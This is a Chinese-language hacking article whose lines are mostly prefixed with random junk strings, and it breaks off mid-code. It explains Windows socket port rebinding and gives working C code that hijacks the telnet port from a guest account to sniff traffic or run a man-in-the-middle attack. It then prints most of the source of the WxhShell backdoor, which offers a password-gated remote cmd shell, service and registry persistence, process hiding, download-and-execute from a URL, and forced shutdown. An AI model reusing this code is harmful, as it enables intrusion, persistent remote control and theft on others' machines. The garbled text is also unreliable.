在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,b@0Qa" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
VrokEK*qbY */L;6_ saddr.sin_family = AF_INET;
b+M[DwPw DOWUnJ;5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
nWK"i\2#G FZ^byIS[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4[!&L:tR ^~5tntb. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
NoJo-vo* -7">A~c 这意味着什么?意味着可以进行如下的攻击:
.6E7 R AMYoSc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
A_%}kt
(6 t@/r1u|iq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5Wi5`8m *0R=(Gy 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
g-% uw[pf t
MB;GIb# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
i
c]f o *qG=p` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m[{*an\ ,7M9f 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
1{"fmV F
,{nG[PL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
3@}HdLmN| N_VAdNJ^: #include
YS{ #include
,oP-:q!PC #include
^%d+nKx9nL #include
3a{QkVeV7 DWORD WINAPI ClientThread(LPVOID lpParam);
hP,1;`[1 int main()
wrn[q{dX {
?k_=?m WORD wVersionRequested;
"eQ9 6^'J DWORD ret;
!*|CIxk( WSADATA wsaData;
y::;e#. BOOL val;
~9oS~fP?I SOCKADDR_IN saddr;
=QyO$:t SOCKADDR_IN scaddr;
#OWwg`AWv int err;
~ilbW|s?=k SOCKET s;
HXdPKS4q SOCKET sc;
O|j5ulO}&" int caddsize;
8XJ%Yuu HANDLE mt;
^[%~cG DWORD tid;
J7QlGm,= wVersionRequested = MAKEWORD( 2, 2 );
/,0t,"&Aqa err = WSAStartup( wVersionRequested, &wsaData );
z4-AOTo2y if ( err != 0 ) {
_ksp;kH?) printf("error!WSAStartup failed!\n");
l}(~q!r return -1;
V6$v@Zq }
6g$04C3tHi saddr.sin_family = AF_INET;
~*B1}#; >/bl
r}5
H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lGLZIp RFK
N,oB saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\0 WMb saddr.sin_port = htons(23);
m;
ABHq# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t41cl {
_i8$!b2Mr printf("error!socket failed!\n");
,(`@ZFp$ return -1;
jQ`"Op 3 }
%q*U[vv val = TRUE;
u khI#:[ //SO_REUSEADDR选项就是可以实现端口重绑定的
1C$^S]v%a if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6xFZv
t {
K.z}%a printf("error!setsockopt failed!\n");
e('c9 Y return -1;
"4tRy9q }
*h =7:*n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7OWiG, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$e*Nr=/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
>uuX<\cW C#-x 3d-{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
cE*|8'rSf {
QHs]~Ja ret=GetLastError();
5h>
gz printf("error!bind failed!\n");
<01B\t7 return -1;
ufR | }
IWT##']G listen(s,2);
<m(nZ'Zqz2 while(1)
r\3In-(AT {
F}01ikXDb' caddsize = sizeof(scaddr);
lHGv:TN //接受连接请求
2hu6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
y~luuV;uj if(sc!=INVALID_SOCKET)
&e rNVD5o {
5;^8wh( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
84knoC if(mt==NULL)
.M!
(|KE4 {
i5n'f6C printf("Thread Creat Failed!\n");
QHM39Eu] break;
@P.l8|w }
vGAPQg6* }
?APzx@$D. CloseHandle(mt);
Qp=uiXs }
cn\_;TYiJ closesocket(s);
%eah=e WSACleanup();
e+6~JbMV return 0;
8D n]`}ok }
r=w%"3vb^ DWORD WINAPI ClientThread(LPVOID lpParam)
7]v-2
* {
q/3}8BJ SOCKET ss = (SOCKET)lpParam;
8EE7mEmLH SOCKET sc;
3Q ]MT unsigned char buf[4096];
Yr31GJ}K SOCKADDR_IN saddr;
SUVr&S6Nk long num;
~T-.k
7t DWORD val;
_N]yI0k( DWORD ret;
,H%\+yn{ //如果是隐藏端口应用的话,可以在此处加一些判断
m:41zoV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=0:hrg+Zgx saddr.sin_family = AF_INET;
S77Gc:[;8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
E+2y-B)E saddr.sin_port = htons(23);
Z~nl{P# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?eO|s5r {
8r|LFuI printf("error!socket failed!\n");
1Jd: %+T return -1;
o+t?OG/0 }
M)xK+f2_[ val = 100;
g&bO8vR= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{e@1,19 {
p&\uF#I;
ret = GetLastError();
*=Fcu@ return -1;
}F.1j!71L }
Ww p^dx`! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<Q0&[q;Z {
Yx%%+c?. ret = GetLastError();
`Q8 D[ return -1;
Z
kS*CG }
Kq?7#,_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
m88~+o<G% {
1)R)+`y printf("error!socket connect failed!\n");
xn@jL;+<- closesocket(sc);
w#1dO~ closesocket(ss);
t}tKm return -1;
@$*c0.
|z }
a9I8WQ while(1)
meL'toaJdQ {
qa~[fORO[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!eq]V9 //如果是嗅探内容的话,可以再此处进行内容分析和记录
^
UzF
nW@a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
at*=#?M1? num = recv(ss,buf,4096,0);
xpxm9ySwu if(num>0)
eXd(R>Mx send(sc,buf,num,0);
q-Qws0\v. else if(num==0)
4_Jdh48-d break;
TGNeEYr num = recv(sc,buf,4096,0);
s`B'vyoaa if(num>0)
kMo)4Xp send(ss,buf,num,0);
_e3'f:
else if(num==0)
5^dw!^d break;
`R> O5Rv }
t5k&xV=~
# closesocket(ss);
)yP>}ME closesocket(sc);
o7+/v70D return 0 ;
_~kcr5 }
fz&}N`n ;x#>J +QlG A-io-P7qyj ==========================================================
NIfc/% #dft-23 下边附上一个代码,,WXhSHELL
JK(&E{80 $VA4% 9 ==========================================================
K)?^b|D ~c^-DAgB #include "stdafx.h"
{P-PH$ E- a)1,/:7' #include <stdio.h>
MUrY >FYgx #include <string.h>
nf4P2<L! #include <windows.h>
1I`D$Xq~: #include <winsock2.h>
07|NPS #include <winsvc.h>
B<LavX>F #include <urlmon.h>
%&XX*&
q kTz #pragma comment (lib, "Ws2_32.lib")
oc(bcU #pragma comment (lib, "urlmon.lib")
rd))H WGmCQE[/c #define MAX_USER 100 // 最大客户端连接数
eFQi
K6`i #define BUF_SOCK 200 // sock buffer
4Le5Ms/ #define KEY_BUFF 255 // 输入 buffer
o,yvi yLx.*I^6 #define REBOOT 0 // 重启
[q&J"dt #define SHUTDOWN 1 // 关机
q,DX{: dX*>?a #define DEF_PORT 5000 // 监听端口
zmFFBf"< o0'av+e7 #define REG_LEN 16 // 注册表键长度
\bOjb\ w$ #define SVC_LEN 80 // NT服务名长度
fhmr*E'J -z$0S%2? // 从dll定义API
.;b>
T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
uKy *N*} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
=T)2wcXBB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
lt4jnV2"a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
fn OkH ^wa9zs2s;/ // wxhshell配置信息
<k](s struct WSCFG {
0EOX@;} int ws_port; // 监听端口
s%oAsQ_y char ws_passstr[REG_LEN]; // 口令
#P#R~b] int ws_autoins; // 安装标记, 1=yes 0=no
[bG>qe1}& char ws_regname[REG_LEN]; // 注册表键名
$O'2oeM char ws_svcname[REG_LEN]; // 服务名
*fSM' q; char ws_svcdisp[SVC_LEN]; // 服务显示名
%j">&U.[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
p2vBj. *J char ws_passmsg[SVC_LEN]; // 密码输入提示信息
jtv Q<4 int ws_downexe; // 下载执行标记, 1=yes 0=no
ogqV]36Idh char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
wsrx|n[] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
V|\A? $>=Nb~t!/ };
0 '7s wW8
6rB // default Wxhshell configuration
rfRo*u2" struct WSCFG wscfg={DEF_PORT,
N[bN"'U/1 "xuhuanlingzhe",
eC?/l*gF3 1,
rR@n>
Xx "Wxhshell",
0:'jU "Wxhshell",
>iH).:j "WxhShell Service",
zm+4Rl( "Wrsky Windows CmdShell Service",
]B3FTqR{i "Please Input Your Password: ",
vvAk<[
1,
NP`s[ "
http://www.wrsky.com/wxhshell.exe",
15o.j!S "Wxhshell.exe"
\>Rwg=Lh };
.)>/!|i N&APqT // 消息定义模块
{(}w4.! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=t$mbI char *msg_ws_prompt="\n\r? for help\n\r#>";
SU
O; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`u~ char *msg_ws_ext="\n\rExit.";
_qt;{,t char *msg_ws_end="\n\rQuit.";
~f10ZB_k>' char *msg_ws_boot="\n\rReboot...";
\'+{X(] char *msg_ws_poff="\n\rShutdown...";
i @9Qb char *msg_ws_down="\n\rSave to ";
I"sobZ` W}k?gg= char *msg_ws_err="\n\rErr!";
P}9Y8$Y>U char *msg_ws_ok="\n\rOK!";
&JhIn%=- -ouJf}#R char ExeFile[MAX_PATH];
kgI=0W> int nUser = 0;
@P"`=BU& HANDLE handles[MAX_USER];
o+-Ge
J int OsIsNt;
>|/? Up on;sq8; SERVICE_STATUS serviceStatus;
7 G[ GHc> SERVICE_STATUS_HANDLE hServiceStatusHandle;
# )mkD4 [gkRXP[DGs // 函数声明
ru/zLj: int Install(void);
I^O:5x>[l int Uninstall(void);
$^=jPk]+ int DownloadFile(char *sURL, SOCKET wsh);
'%-xe3 int Boot(int flag);
;Nf hKu%K void HideProc(void);
7lDaok int GetOsVer(void);
)SL@>Cij int Wxhshell(SOCKET wsl);
_RaVnMJKX4 void TalkWithClient(void *cs);
3cfZ!E~^kc int CmdShell(SOCKET sock);
>9tkx/J int StartFromService(void);
Wytvs*\` int StartWxhshell(LPSTR lpCmdLine);
EkStb# 3]`qnSYBv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!|<f%UO VOID WINAPI NTServiceHandler( DWORD fdwControl );
*K jVPs pmW6~%}* // 数据结构和表定义
_X%6 +0M
SERVICE_TABLE_ENTRY DispatchTable[] =
H"FflmUO {
I"cQ5gF?A {wscfg.ws_svcname, NTServiceMain},
2gL[\/s {NULL, NULL}
/ik)4]> };
jO&f*rxN bOxjm`B< // 自我安装
W_BAb+$aF int Install(void)
(#-=y~% {
/[|}rqX( char svExeFile[MAX_PATH];
<[3lV)~t HKEY key;
)|Vg/S strcpy(svExeFile,ExeFile);
;%rs{XO9 oX2DFgz // 如果是win9x系统,修改注册表设为自启动
lYZ@a4TA if(!OsIsNt) {
GrLM${G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c(Uj'uLc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U)`3[fo RegCloseKey(key);
mU?&\w=v$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3\p]esse RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p~,3A:i RegCloseKey(key);
zfjD b return 0;
t)oES>W1 }
(ciGLfNG }
K^,&ub.L) }
cu479VzPx: else {
Ql#W
/x,e Pzk[^z$C // 如果是NT以上系统,安装为系统服务
MOp=9d+N~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@dE 3 if (schSCManager!=0)
dS3>q<J*a {
nz&b5Xb2 SC_HANDLE schService = CreateService
dEQReD (
|%:qhs, schSCManager,
)~?S0]j} wscfg.ws_svcname,
[al(>Wr9 wscfg.ws_svcdisp,
C NzSBm SERVICE_ALL_ACCESS,
cy& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(}*\ { SERVICE_AUTO_START,
F;?TR[4!k SERVICE_ERROR_NORMAL,
AF*ni~ svExeFile,
Lt;.Nw NULL,
~4=]%XYz NULL,
,<;l"v( NULL,
K4?t' dd] NULL,
JO&;bT< NULL
2\nBqCxR );
uGP[l`f|FQ if (schService!=0)
9LqMQv"xW {
Ypn%[sSOp CloseServiceHandle(schService);
d6t)gG*5 CloseServiceHandle(schSCManager);
>%n8W>^^4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-~(0O strcat(svExeFile,wscfg.ws_svcname);
gfdPx:7^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
t3
uB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
e-%7F]e RegCloseKey(key);
;Xfd1 return 0;
0,1L e$)6 }
@wYQLZ }
PEX26== CloseServiceHandle(schSCManager);
_q$0lqq~u }
%2@ Tj}xa }
:>tF_6 S|{Yvyp return 1;
{UX"Epd);n }
5bF9IH ] 689 Q%D // 自我卸载
G_2gKkIK- int Uninstall(void)
DGa#d_I {
~J:$gu~` HKEY key;
{dy`
%It a2cx if(!OsIsNt) {
c]s(u+i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c ,h.`~{ RegDeleteValue(key,wscfg.ws_regname);
O:`GL1{ve? RegCloseKey(key);
RQj`9F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xVsa,EX b RegDeleteValue(key,wscfg.ws_regname);
LT,iS)dY+ RegCloseKey(key);
a gmeiJT return 0;
J+/}K>2# }
vCy.CN$ }
\yJZvhUk }
<O,'5+zG% else {
++Rdv0~ M&|sR+$^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
S4l)TtY if (schSCManager!=0)
dJdD"xj {
D_l/Gxdpr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
LCo1{wi if (schService!=0)
Ht`<XbQ> {
7.7Cluh5, if(DeleteService(schService)!=0) {
['51FulDR CloseServiceHandle(schService);
$?]@_= CloseServiceHandle(schSCManager);
F9m 2C'U return 0;
Ur_S
[I }
jsk:fh0~M CloseServiceHandle(schService);
]6a/0rg:t }
^G|w8t+^ CloseServiceHandle(schSCManager);
vO}qjw }
Ap
F*a$), }
*ajFZI !7:EE,W~ return 1;
]iz_w`I\ }
q=P
f^Xp 652u Z};e // 从指定url下载文件
bjM-Hd/K int DownloadFile(char *sURL, SOCKET wsh)
K?h[.`} {
(,- 5(fW HRESULT hr;
g2[K< char seps[]= "/";
17V\2=Io char *token;
c^ixdk char *file;
&_Cxv8 char myURL[MAX_PATH];
paq8L{R char myFILE[MAX_PATH];
;el]LnV!O kbfuvJ> strcpy(myURL,sURL);
q
Axf5 token=strtok(myURL,seps);
B]'e$uyL7 while(token!=NULL)
Tjd&^m {
[=XZza.z file=token;
v;)BVv token=strtok(NULL,seps);
<ldid]o
# }
c+szU}(f6( .Lr`j8 GetCurrentDirectory(MAX_PATH,myFILE);
:@:g*w2K strcat(myFILE, "\\");
r :fwrC strcat(myFILE, file);
P\D[n-& send(wsh,myFILE,strlen(myFILE),0);
68vxI|EZ send(wsh,"...",3,0);
?~F]@2)5w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
2"T8^r|U if(hr==S_OK)
98D{{j92 return 0;
X?KGb{ else
Y
h^WTysBn return 1;
2B6^]pSk EG F:xl }
9|J8]m?x kA1RfSS // 系统电源模块
pWMiCXnW int Boot(int flag)
D"`%|`O {
{@Blj3 ;w} HANDLE hToken;
X }m7@r@ TOKEN_PRIVILEGES tkp;
X tJswxw`K ^OHZ767v if(OsIsNt) {
'jh2**i 34 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
zSEr4^Dk4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8lMZ tkp.PrivilegeCount = 1;
EwTS!gL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
b2a'KczV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4qqF v?O[r if(flag==REBOOT) {
x2sN\tOh^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
s ;48v return 0;
eA`]KalH }
u=(H#o<# else {
t@X M /=d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3wV86tH% return 0;
^it4z gx@ }
=fY lzZh }
n(Qj||: else {
S{o@QVbl if(flag==REBOOT) {
-sP9E|/:'3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[vE$R@TZ0! return 0;
D*|(
p6v1& }
-s{R/ 6: else {
[Dnusp7e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(&q@~
dJ return 0;
w#W5}i&x }
AdDQWJ^r }
t$aVe"uM 6!*K/2:O return 1;
OMl8 a B9 }
0 9tikj1 !$xzAX,
// win9x进程隐藏模块
2q+la|1Cr void HideProc(void)
55LgBD {
N0]z/}hd@ B<A:_'g HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_wMc*kjJO if ( hKernel != NULL )
mG
X\wta {
P<8LAc$T pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yxqTm%?y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@v"T~6M FreeLibrary(hKernel);
H1Q''$}Z. }
Mk<m6E$L IT,"8s return;
QDP-E[ }
SzRL}}I [qSQ#Qzi2i // 获取操作系统版本
k9cK bf@ int GetOsVer(void)
$$42pb. {
eDuX"/kHA OSVERSIONINFO winfo;
Bhj:9%` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&.hoCPo$ GetVersionEx(&winfo);
JL@F~U9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
v<j2L"bj return 1;
W^w d
([ else
;.\g-`jb return 0;
r8sdzz% }
q5!0\o: ?%93b ,7 // 客户端句柄模块
(WJV.GcP1 int Wxhshell(SOCKET wsl)
n>n"{! {
EVWA\RO'\ SOCKET wsh;
{K+.A 9! struct sockaddr_in client;
se!g4XEWD DWORD myID;
YRXK@'[= L+Eu
d while(nUser<MAX_USER)
9wzwY[{ {
!`Le`c int nSize=sizeof(client);
CK=ARh#|
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Vfb<o"BQk if(wsh==INVALID_SOCKET) return 1;
0"4J"q]& 5H~@^!7t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Dp^95V@ if(handles[nUser]==0)
#iiwD| closesocket(wsh);
$khrWiX else
ej<`CQ nUser++;
:|=- (z }
h5j<u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7$K}qsr< l4zw]AYk+X return 0;
iEe#aO"D! }
iFSJ4 W( a"k'm}hVY$ // 关闭 socket
6`1k
^ void CloseIt(SOCKET wsh)
ekrBNDs9 {
nYhp`!W4; closesocket(wsh);
s~=g*99H nUser--;
CNq[4T'~A ExitThread(0);
f7ZA837Un }
R#D#{cC( Y!F!@`%G // 客户端请求句柄
Q~8y4=|#CY void TalkWithClient(void *cs)
hc"6u\> {
<M=';h^w2 GZ
<nXU> SOCKET wsh=(SOCKET)cs;
W|0My0y char pwd[SVC_LEN];
sSNCosb char cmd[KEY_BUFF];
+eC3?B8rN char chr[1];
uC)Zs, _5 int i,j;
zqY)dk ]uAS+shQ& while (nUser < MAX_USER) {
2!BsEvB( 6oYIQ'hc if(wscfg.ws_passstr) {
pG~'shD~Dn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.ByU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b22LT52 //ZeroMemory(pwd,KEY_BUFF);
pcNSL'u+ i=0;
kwOeHdV^ while(i<SVC_LEN) {
x`#22"m BK*z 4m // 设置超时
moaodmt]x fd_set FdRead;
Wy8,<K{ struct timeval TimeOut;
1c/
X FD_ZERO(&FdRead);
K|Om5
p FD_SET(wsh,&FdRead);
tR5tPPw TimeOut.tv_sec=8;
K\~v& TimeOut.tv_usec=0;
^:+Rg}]W^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
zPHy2H$28 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[#>{4qY2 W\%q}q2? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
T30Zk*V pwd
=chr[0]; ldYeX+J
_
if(chr[0]==0xd || chr[0]==0xa) { }DbE4"^K7
pwd=0; tq0;^L
break; I=o'+>az
} Y|:YrZSC
i++; xFU5\Zuw
} vcwK6G
i_NJ -K
// 如果是非法用户,关闭 socket fQP,=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H@Q`
} puA|NT
cFDxjX?~
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +O4( a.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZJ9x6|q
Ox~ 9_d
while(1) { l0. FiO@_Q
bb}?h]a
ZeroMemory(cmd,KEY_BUFF); IqNpLh|[
rpSr^slr
// 自动支持客户端 telnet标准 l^
Rm0t_
j=0; JCNk\@0i*
while(j<KEY_BUFF) { >gnF]<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qfa}3k8et
cmd[j]=chr[0]; ~o i)Lf1
if(chr[0]==0xa || chr[0]==0xd) { l0:5q?g
cmd[j]=0; j3{HkcjJG
break; mTJ"l(,3
} jFG5)t<D
j++; EavX8r
} _F^$aZt?e
@UV{:]f~e
// 下载文件 BKX9SL]
if(strstr(cmd,"http://")) { xG8`'SNY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6< >SHw
if(DownloadFile(cmd,wsh)) *%I[ ke *
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4~Dax)
else
UUH;L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DRp&IP<
} F3Ap1-%z
else { OT;cfkf7
MUB37
switch(cmd[0]) { M!#AfIyB
E23w *']
// 帮助 >T QZk4$
case '?': { {\L|s5=yr
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @C=M
UT-!
break; 9qre|AA
} v&r=-}z2!
// 安装 u1N1n;#
case 'i': { ^aHh{BQ%
if(Install()) GQ[pG{_+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =LK}9ViH
else V~[:*WOX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kZv*rWAm
break; 9ad6uTc
} C.(
yd$,
// 卸载 `36N
n+A
case 'r': { k2.G%]j
if(Uninstall()) <6R"h-u"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R1/q3x
else GG+5/hU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xDUaHE1co
break; P5Dk63z]
} AEqq1A
// 显示 wxhshell 所在路径 y?Onb3%
case 'p': { 4'm q_o#4W
char svExeFile[MAX_PATH]; B=dseeG[To
strcpy(svExeFile,"\n\r"); as#J qE
strcat(svExeFile,ExeFile); {+Sq<J_`M
send(wsh,svExeFile,strlen(svExeFile),0); t!0dJud
break; tt{`\1q
} ]-a{IWVN
// 重启 FT(iX`YQ
case 'b': { ZV(
w
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l&Q!mU}
if(Boot(REBOOT)) 9n 6fXOC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3q?5OL^$
else { )88nMH-
closesocket(wsh); fhr-Y'
ExitThread(0); )!sa)\E?
} e#khl9j*bt
break; $rB6<
} Y"*:&E2)r
// 关机 puF%=i
case 'd': { "H?QqrKx
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R8 jovr
if(Boot(SHUTDOWN)) v?)SA];
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r[!(?%>j
else { :,^>d3k
closesocket(wsh); /PW&$P1.]"
ExitThread(0); Egf^H>,.M
} S(w\Z C
break; -TS?
fne)
} nvH|Ngg Q
// 获取shell AerFgQiS
case 's': { 0D~=SekQ9
CmdShell(wsh); ZF'HM@cfo
closesocket(wsh); 'F7VM?HBfg
ExitThread(0); %t[K36,p
break; )$_,?*fq:
} )*D'csGc
// 退出 W+hV9
case 'x': { |!}wF}iLc)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pX_b6%yX(
CloseIt(wsh); !DcX8~~@
break; +$,dwyI2t
} >|nt2
// 离开 V.2[ F|P;3
case 'q': { CL1;Inzl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ag6uR(uI
closesocket(wsh); uLK(F
B
WSACleanup(); z mbZ
exit(1); @c]Xh:I
break; */_@a?
} Q7(eq0na
} CjKRP;5
} ?bI?GvSh
m8AAp1=
// 提示信息 ve-8*Xa
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3I*uV!notJ
} ~-<:+9m
} EY$?^iS
DY.58IHg1
return; l{Er+)a
} eXG57<t ON
pBU]=[M0
// shell模块句柄 k FLT!k
int CmdShell(SOCKET sock) k{-`]qiK
{ "@)lH
STARTUPINFO si; ?d5h9}B
ZeroMemory(&si,sizeof(si)); 3+9
U1:1[.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R@n5AN(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rJV?)=Z
PROCESS_INFORMATION ProcessInfo; s0lYj@E'
char cmdline[]="cmd"; .eY`Ri<3t
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I4~^TrznRa
return 0; u>o<tw%Y
} zt?H~0$LB
#HG&[Ywi
// 自身启动模式 W>$BF[x!{
int StartFromService(void) [pR)@$"k'
{ "teyi"U+
typedef struct X+at%L=
{ o(Kcs-W2
DWORD ExitStatus; 9-93aC.|}
DWORD PebBaseAddress; Ux_<d?p
DWORD AffinityMask; GX5W^//}
DWORD BasePriority; xYwkFB$$*
